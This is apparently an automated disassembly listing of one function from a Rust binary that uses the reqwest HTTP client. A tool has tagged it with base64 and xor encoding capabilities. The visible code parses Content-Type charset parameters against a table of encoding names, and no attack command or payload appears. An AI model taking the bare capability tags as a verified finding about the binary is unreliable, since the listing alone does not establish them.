Function at 0x1400090a7
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x878
movaps xmmword [rsp + 0x860], xmm6
mov rdx, qword [rcx + 0x40]
mov qword [rsp + 0x1d0], rdx
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rcx + 8]
mov qword [rsp + 0x240], rax
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x238], rax
mov rax, qword [rcx + 0x48]
mov qword [rsp + 0x230], rax
mov rax, qword [rcx + 0x60]
mov qword [rsp + 0x228], rax
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x220], rax
mov rax, qword [rcx + 0x28]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
mov qword [rsp + 0x140], rax
lock inc qword [rax]
jg 0x140009144
ud2
lea r13, [rsp + 0x488]
lea r14, [rsp + 0x580]
lea r15, [rsp + 0x6b0]
lea rbp, [rsp + 0x710]
xorps xmm6, xmm6
xor eax, eax
mov qword [rsp + 0x108], rax
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x248], rcx
mov qword [rsp + 0x250], rdx
lea rcx, [rsp + 0x3a8]
mov rdx, qword [rsp + 0x220]
mov r8, qword [rsp + 0x218]
call fcn.140028f50
lea rsi, [rsp + 0x3e0]
mov rcx, rsi
lea rdx, [rsp + 0x1c0]
mov r8, qword [rsp + 0x240]
mov r9, qword [rsp + 0x238]
call fcn.1400089ca
lea rdi, [rsp + 0x260]
mov rcx, rdi
mov rdx, rsi
mov r8, qword [rsp + 0x230]
mov r9, qword [rsp + 0x228]
call fcn.140008abe
lea rcx, [rsp + 0x7a0]
mov rdx, rdi
call fcn.1400c3d42
cmp dword [rsp + 0x7a0], 3
jne 0x140009228
mov rax, qword [rsp + 0x7a8]
mov qword [rsp + 0x3e0], rax
mov rcx, rsi
jmp 0x14000b7f4
mov esi, dword [rsp + 0x840]
mov rax, qword [rsp + 0x848]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x850]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x858]
mov qword [rsp + 0x210], rax
mov r12d, 0x3b9aca00
cmp esi, 0x3b9aca00
je 0x1400092ab
mov rdi, qword [rsp + 0x838]
call fcn.1400e4d00
add rax, rdi
jb 0x14000c574
add esi, edx
cmp esi, 0x3b9aca00
jb 0x1400092a3
inc rax
je 0x14000c574
mov qword [rsp + 0x40], rax
add esi, 0xc4653600
jmp 0x1400092a8
mov qword [rsp + 0x40], rax
mov r12d, esi
call fcn.1400d0320
mov rsi, rax
mov al, byte [0x1401aa510]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c54a
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, [0x14016a448]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x3c8], rax
mov qword [rsp + 0x3d0], 0
mov r8d, 0x98
lea rcx, [rsp + 0x3e0]
lea rdx, [rsp + 0x7a0]
call fcn.1401035b1
lea rax, str.utf_8
mov qword [rsp + 0x478], rax
mov qword [rsp + 0x480], 5
mov byte [rsp + 0x768], 0
xor eax, eax
test al, al
je 0x1400093b1
movzx eax, al
cmp eax, 3
jne 0x14000c4f3
movzx eax, byte [rsp + 0x760]
test eax, eax
je 0x140009791
cmp eax, 3
jne case.default.0x14000939f
movzx eax, byte [rsp + 0x719]
lea rcx, [0x14019f21c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x720]
mov rdx, qword [rax]
jmp 0x140009818
mov r8d, 0x98
mov rcx, r13
lea rdx, [rsp + 0x3e0]
call fcn.1401035b1
mov rbp, qword [rsp + 0x478]
mov rdi, qword [rsp + 0x480]
movups xmm0, xmmword [0x14016fb08]
movaps xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x14016faf8]
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, r13
lea rdx, [rsp + 0x260]
call fcn.14004e3e6
test rax, rax
movabs r9, 0x100003600
lea r8, [0x140169068]
je 0x140009444
mov r15, qword [rax + 8]
mov rsi, qword [rax + 0x10]
lea r14, [r15 + rsi]
xor eax, eax
cmp rsi, rax
je 0x140009457
mov cl, byte [r15 + rax]
inc rax
cmp cl, 9
je 0x14000942b
add cl, 0xe0
cmp cl, 0x5f
jb 0x14000942b
mov qword [rsp + 0x520], 2
xor esi, esi
jmp 0x140009566
cmp rsi, 3
mov qword [rsp + 0xb0], rdi
jne 0x14000947f
movzx eax, word [r15]
xor eax, 0x2f2a
movzx ecx, byte [r15 + 2]
xor ecx, 0x2a
or cx, ax
je 0x1400099f6
lea rdx, [r15 + 2]
xor eax, eax
cmp rsi, rax
je 0x140009548
mov rdi, rax
mov r13, rdx
movzx ecx, byte [r15 + rax]
inc rax
inc rdx
cmp byte [rcx + r8], 0
jne 0x140009485
cmp cl, 0x2f
jne 0x140009543
test rdi, rdi
je 0x140009543
lea rcx, [r15 + rdi]
inc rcx
cmp rcx, r14
je 0x140009a78
xor r10d, r10d
mov rcx, rax
movzx edx, byte [r13 - 1]
mov qword [rsp + 0x48], rcx
lea rbx, [rcx + 1]
mov rcx, rdx
cmp ecx, 0x2b
je 0x1400094f5
cmp ecx, 0x3b
jne 0x140009509
cmp qword [rsp + 0x48], rax
jbe 0x140009509
jmp 0x140009e1f
cmp qword [rsp + 0x48], rax
jbe 0x140009509
mov r10d, 1
mov r8, qword [rsp + 0x48]
jmp 0x140009519
mov rdx, rcx
lea rcx, [0x140169068]
cmp byte [rdx + rcx], 0
je 0x140009548
inc r13
mov rcx, rbx
cmp rsi, rbx
jne 0x1400094ce
jmp 0x140009a7b
mov qword [rsp + 0x48], rdi
lea r13, [rsp + 0x488]
mov qword [rsp + 0x520], 2
xor esi, esi
mov rdi, qword [rsp + 0xb0]
test rsi, rsi
cmovne rbp, rsi
cmove rbx, rdi
lea rax, [rsp + 0x271]
movups xmmword [rax - 0x10], xmm6
mov word [rax], 0
test rbx, rbx
lea r14, [rsp + 0x580]
lea r15, [rsp + 0x6b0]
lea rsi, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
je 0x1400095bd
lea rax, [rbx + rbp]
inc rbp
movzx ecx, byte [rbp - 1]
cmp rcx, 0x3a
ja 0x1400095dc
bt r9, rcx
jae 0x1400095cc
inc rbp
dec rbx
jne 0x1400095a5
xor eax, eax
lea rbp, [rsp + 0x710]
jmp 0x14000975d
movabs rdx, 0x400600000000000
bt rdx, rcx
jb 0x1400095f0
cmp ecx, 0x5f
je 0x1400095f0
lea edx, [rcx - 0x41]
cmp dl, 0x1a
jae 0x140009a5b
or cl, 0x20
mov byte [rsp + 0x260], cl
mov ecx, 1
cmp rbp, rax
je 0x1400096c0
movzx edx, byte [rbp + rcx - 1]
cmp rdx, 0x3a
ja 0x140009626
movabs r8, 0x400600000000000
bt r8, rdx
jb 0x14000962b
bt r9, rdx
jb 0x14000968e
cmp edx, 0x5f
jne 0x140009656
cmp rcx, 0x13
je 0x1400095bd
cmp rcx, 0x12
ja 0x14000c450
mov byte [rsp + rcx + 0x260], dl
lea rdx, [rcx + rbp]
inc rdx
inc rcx
dec rdx
cmp rdx, rax
jne 0x140009605
jmp 0x1400096c0
lea r8d, [rdx - 0x41]
cmp r8b, 0x1a
jae 0x140009675
cmp rcx, 0x13
je 0x1400095bd
jae 0x14000c461
or dl, 0x20
jmp 0x14000963b
lea r8d, [rdx - 0x61]
cmp r8b, 0x1a
jb 0x14000962b
lea r8d, [rdx - 0x3a]
cmp r8b, 0xf6
jae 0x14000962b
jmp 0x1400095bd
add rbp, rcx
cmp rbp, rax
je 0x1400096c0
movzx edx, byte [rbp]
cmp rdx, 0x20
ja 0x1400095bd
bt r9, rdx
jae 0x1400095bd
inc rbp
cmp rbp, rax
jne 0x140009696
cmp rcx, 0x14
jae 0x14000c645
mov eax, 0xe4
xor edx, edx
mov r8d, 0xe4
lea rbp, [rsp + 0x710]
shr rax, 1
add rax, rdx
mov r10, rax
shl r10, 4
xor r9d, r9d
cmp qword [r10 + rsi + 8], rcx
setne r9b
mov r11d, 0xff
cmovb r9d, r11d
jne 0x14000972b
mov r10, qword [r10 + rsi]
mov r11, rcx
test r11, r11
je 0x140009752
mov bl, byte [r10 + r11 - 1]
xor r9d, r9d
cmp bl, byte [rsp + r11 + 0x25f]
setne r9b
mov edi, 0xff
cmovb r9d, edi
dec r11
test r9b, r9b
je 0x140009701
cmp r9b, 0xff
je 0x140009740
movzx r8d, r9b
cmp r8d, 1
jne 0x140009752
mov r8, rax
jmp 0x140009749
inc rax
mov rdx, rax
mov rax, r8
sub rax, rdx
ja 0x1400096d5
xor eax, eax
jmp 0x14000975d
lea rcx, [0x140140880]
mov rax, qword [rcx + rax*8]
lea rbx, [rsp + 0x50]
lea rcx, [0x14013efe0]
test rax, rax
cmove rax, rcx
mov qword [rsp + 0x578], rax
mov r8d, 0x98
mov rcx, r14
mov rdx, r13
call fcn.1401035b1
mov byte [rsp + 0x760], 0
mov r8d, 0x98
lea rcx, [rsp + 0x618]
mov rdx, r14
call fcn.1401035b1
movdqu xmm0, xmmword [r13 + 0x1f8]
movups xmm1, xmmword [r13 + 0x208]
movaps xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
mov ecx, 0xd
mov rdi, r15
lea rsi, [rsp + 0x260]
rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0x719], 0
mov byte [rsp + 0x718], 0
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
lea rdx, [rsp + 0x6d0]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0x710], rdx
mov qword [rsp + 0x720], rbp
mov rcx, rbx
lea r8, [rsp + 0x3c0]
call fcn.14007420b
mov rcx, qword [rsp + 0x50]
cmp rcx, 2
jne 0x14000983a
mov al, 3
jmp 0x14000a951
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
lea rdx, [rsp + 0x60]
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x780], xmm0
test rcx, rcx
je 0x14000aa9d
test rax, rax
je 0x14000aab8
mov byte [rsp + 0x718], 1
mov qword [rsp + 0x6f0], rax
mov qword [rsp + 0x6f8], rdi
movdqa xmm0, xmmword [rsp + 0x780]
lea rax, [rsp + 0x700]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x720], rbp
mov rax, rbp
mov rdx, qword [rax]
mov rcx, rbx
lea r8, [rsp + 0x3c0]
call fcn.14007420b
mov rcx, qword [rsp + 0x50]
cmp rcx, 2
jne 0x1400098c4
mov al, 4
jmp 0x14000a951
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
lea rdx, [rsp + 0x60]
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x120], xmm0
test rcx, rcx
je 0x14000ab33
test rax, rax
je 0x14000ab2f
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x748], rdi
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [r13 + 0x2c8], xmm0
mov rax, qword [rsp + 0x710]
mov rsi, qword [rsp + 0x750]
add rsi, qword [rsp + 0x700]
cmp qword [rax], 0
je 0x140009935
add rax, 0x10
jmp 0x140009948
mov rdx, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov rcx, rbx
call qword [rax + 0x30]
lea rax, [rsp + 0x60]
add rsi, qword [rax]
je 0x14000996d
js 0x14000c523
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
jne 0x140009974
jmp 0x14000c52d
mov eax, 1
xor esi, esi
mov qword [rsp + 0x720], rsi
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x728], rax
mov qword [rsp + 0x730], 0
mov byte [rsp + 0x718], 0
movups xmm0, xmmword [r13 + 0x268]
movups xmm1, xmmword [r13 + 0x278]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
lea rsi, [rsp + 0x720]
mov rcx, rsi
mov rdx, rbx
call fcn.1400c32d6
movdqu xmm0, xmmword [r13 + 0x2b8]
movdqu xmm1, xmmword [r13 + 0x2c8]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rsi
mov rdx, rbx
jmp 0x14000a9fd
mov eax, 3
mov qword [rsp + 0x158], rax
mov edi, 1
xor eax, eax
mov qword [rsp + 0xa8], rax
xor ecx, ecx
xor r8d, r8d
lea rax, str._C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_implclient.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rsp + 0x1a0], rax
xor eax, eax
mov qword [rsp + 0x160], rax
xor eax, eax
mov qword [rsp + 0x198], rax
xor eax, eax
mov qword [rsp + 0x190], rax
movabs rax, 0x8000000000000002
mov qword [rsp + 0x48], rax
xor r10d, r10d
jmp 0x140009b5f
lea edx, [rcx - 0x61]
cmp dl, 0x1a
jb 0x1400095f0
lea edx, [rcx - 0x30]
cmp dl, 0xa
jae 0x1400095bd
jmp 0x1400095f0
xor r10d, r10d
test rsi, rsi
je 0x140009afa
mov dword [rsp + 0x48], r12d
js 0x14000c5ad
mov r12, r10
mov r14, r8
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
je 0x14000c5c1
mov rbx, rax
mov rcx, rax
mov rdx, r15
mov r8, rsi
call fcn.1401035b1
xor eax, eax
mov cl, byte [rbx + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [rbx + rax], dl
inc rax
cmp rsi, rax
jne 0x140009abd
movabs r9, 0x100003600
movabs r13, 0x8000000000000002
mov r8, r14
mov r10, r12
mov r12d, dword [rsp + 0x48]
jmp 0x140009b09
mov ebx, 1
movabs r13, 0x8000000000000002
mov qword [rsp + 0x158], rbx
mov ecx, r8d
shr ecx, 8
mov rax, r8
shr rax, 0x10
mov qword [rsp + 0xa8], rax
mov al, 1
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x208], rsi
mov qword [rsp + 0x1a0], rsi
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x150], rdi
cmp r10, 2
lea r13, [rsp + 0x488]
je 0x140009550
mov rax, qword [rsp + 0xa8]
shl rax, 0x10
movzx ecx, cl
shl ecx, 8
or rcx, rax
movzx eax, r8b
or rax, rcx
mov qword [rsp + 0x520], r10
mov qword [rsp + 0x528], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x530], rcx
mov r15, qword [rsp + 0x200]
mov qword [rsp + 0x538], r15
mov r14, qword [rsp + 0x190]
mov qword [rsp + 0x540], r14
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x160]
mov byte [rsp + 0x550], al
mov eax, dword [0x140168fb4]
mov dword [r13 + 0xcc], eax
mov eax, dword [0x140168fb1]
mov dword [r13 + 0xc9], eax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x558], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x568], rax
mov qword [rsp + 0x570], rdi
mov r13, rcx
btc r13, 0x3f
cmp r13, 3
mov eax, 1
cmovae r13, rax
shl r14, 5
add r14, r15
test r13, r13
je 0x140009cb2
cmp r13, 1
jne 0x140009dfb
cmp r14, r15
lea r13, [rsp + 0x488]
je 0x140009e12
mov r8, qword [r15]
mov r10, qword [r15 + 8]
lea rdx, [rsp + 0x550]
movzx eax, byte [rdx]
xor ecx, ecx
test eax, eax
setne cl
mov rsi, qword [rdx + rax*8 + 8]
mov rdx, qword [rdx + rcx*8 + 0x10]
mov rcx, r10
sub rcx, r8
jb 0x14000c4dc
mov rax, qword [r15 + 0x10]
mov r9, qword [r15 + 0x18]
test r8, r8
je 0x140009ce1
cmp r8, rdx
jae 0x140009cdb
cmp byte [rsi + r8], 0xc0
jge 0x140009ce1
jmp 0x14000c4dc
mov ecx, 7
mov ebx, 5
mov r9b, 1
mov r13d, 2
lea rsi, str.utf_8
lea rdx, str.charset
mov r8, rdx
jmp 0x140009d82
jne 0x14000c4dc
test r10, r10
je 0x140009cfd
cmp r10, rdx
jae 0x140009cf7
cmp byte [rsi + r10], 0xbf
jg 0x140009cfd
jmp 0x14000c4dc
jne 0x14000c4dc
mov rbx, r9
sub rbx, rax
jb 0x14000c4c5
test rax, rax
je 0x140009d24
cmp rax, rdx
jae 0x140009d1e
cmp byte [rsi + rax], 0xc0
jge 0x140009d24
jmp 0x14000c4c5
jne 0x14000c4c5
test r9, r9
je 0x140009d40
cmp r9, rdx
jae 0x140009d3a
cmp byte [rsi + r9], 0xbf
jg 0x140009d40
jmp 0x14000c4c5
jne 0x14000c4c5
add r8, rsi
cmp rcx, 7
jne 0x140009d6b
mov edx, dword [r8]
mov r9d, 0x72616863
xor edx, r9d
mov r9d, dword [r8 + 3]
mov r10d, 0x74657372
xor r9d, r10d
or r9d, edx
sete r9b
jmp 0x140009d6e
xor r9d, r9d
lea rdx, str.charset
add r15, 0x20
add rsi, rax
mov r13d, 1
mov qword [rsp + 0x260], r8
mov qword [rsp + 0x268], rcx
mov byte [rsp + 0x270], 1
lea rax, [rsp + 0x271]
xor r8d, r8d
mov dword [rax + 3], r8d
mov dword [rax], r8d
mov qword [rsp + 0x278], rsi
mov qword [rsp + 0x280], rbx
mov byte [rsp + 0x288], r9b
mov dword [rax + 0x1b], r8d
mov dword [rax + 0x18], r8d
mov r8d, 7
lea rcx, [rsp + 0x260]
call fcn.14006f670
test al, al
movabs r9, 0x100003600
je 0x140009c45
mov qword [rsp + 0x150], rdi
jmp 0x140009e05
mov qword [rsp + 0x150], rdi
xor esi, esi
lea r13, [rsp + 0x488]
jmp 0x14000955e
mov qword [rsp + 0x150], rdi
jmp 0x14000955c
movabs rax, 0x8000000000000002
mov qword [rsp + 0x260], rax
cmp rbx, rsi
mov qword [rsp + 0xa8], r10
jae 0x14000a3ec
mov rax, qword [rsp + 0x48]
lea rcx, [rax + 2]
mov qword [rsp + 0x100], rcx
lea rdx, [r15 + rax]
add rdx, 2
mov rax, rbx
mov qword [rsp + 0xe8], rax
mov r11, rbx
cmp r13, r14
je 0x14000a47f
movzx eax, byte [r13]
inc r13
lea rbx, [r11 + 1]
cmp rax, 0x20
je 0x140009f6a
lea rcx, [0x140169068]
cmp byte [rax + rcx], 0
jne 0x140009e66
cmp al, 0x3d
jne 0x14000a8d2
cmp r11, qword [rsp + 0xe8]
jbe 0x14000a8d2
mov qword [rsp + 0xf8], rdx
mov dword [rsp + 0x90], 0
mov qword [rsp + 0xe0], rbx
cmp byte [rsp + 0x90], 0
je 0x140009f12
cmp r13, r14
je 0x14000a5fb
lea rcx, [r13 + 1]
movzx edx, byte [r13]
mov rax, rbx
inc rbx
cmp rdx, 0x22
jne 0x140009efc
cmp rax, qword [rsp + 0xe0]
ja 0x140009f86
cmp dl, 0x20
jb 0x14000a612
mov r13, rcx
cmp dl, 0x7f
jne 0x140009ec6
jmp 0x14000a612
cmp r13, r14
je 0x140009fbc
movzx ecx, byte [r13]
inc r13
mov qword [rsp + 0x88], rbx
inc rbx
cmp rcx, 0x22
je 0x140009f46
lea rdx, [0x140169068]
cmp byte [rcx + rdx], 0
jne 0x140009ec6
jmp 0x140009fd1
mov al, 1
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0xe0]
cmp qword [rsp + 0x88], rax
je 0x140009ebe
jmp 0x14000a8fe
mov rax, qword [rsp + 0xe8]
cmp r11, rax
jne 0x14000a8d0
inc rax
mov rcx, rax
jmp 0x14000a39c
mov qword [rsp + 0x88], rax
cmp rcx, r14
je 0x140009fb7
mov rax, qword [rsp + 0x88]
add rax, r14
sub rax, r13
movzx edx, byte [rcx]
cmp edx, 0x20
jne 0x140009ff1
inc rcx
inc rbx
cmp rcx, r14
jne 0x140009fa1
mov rbx, rax
mov r13, r14
jmp 0x140009fc7
mov r13, r14
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0xb8], rsi
jmp 0x14000a00b
cmp cl, 0x3b
jne 0x14000a900
mov rax, qword [rsp + 0xe0]
cmp qword [rsp + 0x88], rax
ja 0x14000a003
jmp 0x14000a900
cmp edx, 0x3b
jne 0x14000a8ab
inc rbx
inc rcx
mov r13, rcx
mov qword [rsp + 0xb8], rbx
mov qword [rsp + 0x90], r11
mov rdx, qword [rsp + 0x260]
mov rax, rdx
btc rax, 0x3f
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
je 0x14000a0e9
cmp rax, 1
jne 0x14000a1a2
mov rax, qword [rsp + 0x270]
cmp rax, rdx
mov r11, qword [rsp + 0xa0]
jne 0x14000a097
lea rcx, [rsp + 0x260]
mov qword [rsp + 0x98], r8
call fcn.14006f593
mov r10, qword [rsp + 0xa8]
mov r8, qword [rsp + 0x98]
movabs r9, 0x100003600
mov r11, qword [rsp + 0x268]
mov rax, qword [rsp + 0x270]
mov rcx, rax
shl rcx, 5
mov rdx, qword [rsp + 0xe8]
mov qword [r11 + rcx], rdx
mov rdx, qword [rsp + 0x90]
mov qword [r11 + rcx + 8], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [r11 + rcx + 0x10], rdx
mov rdx, qword [rsp + 0x88]
mov qword [rsp + 0xa0], r11
mov qword [r11 + rcx + 0x18], rdx
inc rax
mov qword [rsp + 0x270], rax
jmp 0x14000a38c
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x98], r8
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xf0], rax
mov al, byte [0x1401aa510]
mov edx, 0x40
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c8fc
mov r9, rax
mov rdx, qword [rsp + 0xf0]
lea rax, [rdx + 0xf]
lea rcx, [rdx + 9]
lea r10, [rdx + 0xa]
mov r8d, 2
add r8, rdx
mov qword [r9], r8
mov qword [r9 + 8], rcx
mov qword [r9 + 0x10], r10
mov qword [r9 + 0x18], rax
mov rax, qword [rsp + 0xe8]
mov qword [r9 + 0x20], rax
mov rax, qword [rsp + 0x90]
mov qword [r9 + 0x28], rax
mov rax, qword [rsp + 0xe0]
mov qword [r9 + 0x30], rax
mov rax, qword [rsp + 0x88]
mov qword [r9 + 0x38], rax
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0xa0], r9
call fcn.14006f63d
mov eax, 2
jmp 0x14000a345
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x98], r8
mov rax, qword [rsp + 0xe8]
cmp qword [rsp + 0x100], rax
jne 0x14000a2d6
cmp qword [rsp + 0x100], 0
mov r9, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xf8]
je 0x14000a1ec
cmp byte [rdx], 0xc0
jl 0x14000c90b
cmp r9, rsi
jae 0x14000a1fd
cmp byte [r15 + r9], 0xbf
jg 0x14000a203
jmp 0x14000c90b
jne 0x14000c90b
mov r8, r9
sub r8, qword [rsp + 0x100]
lea rcx, str.charset
call fcn.14006f670
test al, al
je 0x14000a2d6
mov r8, qword [rsp + 0x88]
mov r9, qword [rsp + 0xe0]
sub r8, r9
jb 0x14000c939
test r9, r9
je 0x14000a257
cmp r9, rsi
jae 0x14000a251
cmp byte [r15 + r9], 0xc0
jge 0x14000a257
jmp 0x14000c939
jne 0x14000c939
cmp qword [rsp + 0x88], 0
je 0x14000a281
mov rax, qword [rsp + 0x88]
cmp rax, rsi
jae 0x14000a27b
cmp byte [r15 + rax], 0xbf
jg 0x14000a281
jmp 0x14000c939
jne 0x14000c939
lea rdx, [r15 + r9]
lea rcx, str.utf_8
call fcn.14006f670
test al, al
je 0x14000a2d6
mov rdx, qword [rsp + 0x268]
mov rcx, qword [rsp + 0xa0]
call fcn.14006f63d
movabs rax, 0x8000000000000000
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xa0], rax
jmp 0x14000a372
mov al, byte [0x1401aa510]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c92a
mov r8, rax
mov rax, qword [rsp + 0xe8]
mov qword [r8], rax
mov rax, qword [rsp + 0x90]
mov qword [r8 + 8], rax
mov rax, qword [rsp + 0xe0]
mov qword [r8 + 0x10], rax
mov rax, qword [rsp + 0x88]
mov qword [r8 + 0x18], rax
mov rdx, qword [rsp + 0x268]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0xa0], r8
call fcn.14006f63d
mov eax, 1
mov qword [rsp + 0x260], rax
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x278], rax
movabs r9, 0x100003600
mov r8, qword [rsp + 0x98]
mov r10, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rcx, rsi
jb 0x140009e5e
mov r13, qword [rsp + 0x260]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x80], rax
mov rbx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x110], rax
movabs rax, 0x8000000000000003
cmp r13, rax
jne 0x14000a417
jmp 0x14000a4c0
mov rcx, qword [rsp + 0x268]
mov qword [rsp + 0x80], rcx
mov rbx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x278]
mov qword [rsp + 0x110], rcx
mov r13, rax
mov rax, r13
btc rax, 0x3f
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
je 0x14000a4e6
cmp rax, 1
mov qword [rsp + 0x98], r8
mov qword [rsp + 0x90], rbx
jne 0x14000a554
test rsi, rsi
je 0x14000a63b
js 0x14000c5ad
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
je 0x14000c5c1
mov rbx, rax
jmp 0x14000a640
mov rax, qword [rsp + 0x80]
and rax, 0xffffffffffffff00
or rax, 1
mov qword [rsp + 0x80], rax
mov rbx, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
call fcn.14006f63d
movabs r9, 0x100003600
mov rax, qword [rsp + 0x80]
shr rax, 0x10
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x48], rbx
jmp 0x140009548
test rsi, rsi
je 0x14000a691
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], r8
js 0x14000c5ad
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
je 0x14000c5c1
mov rbx, rax
mov rcx, rax
mov rdx, r15
mov r8, rsi
call fcn.1401035b1
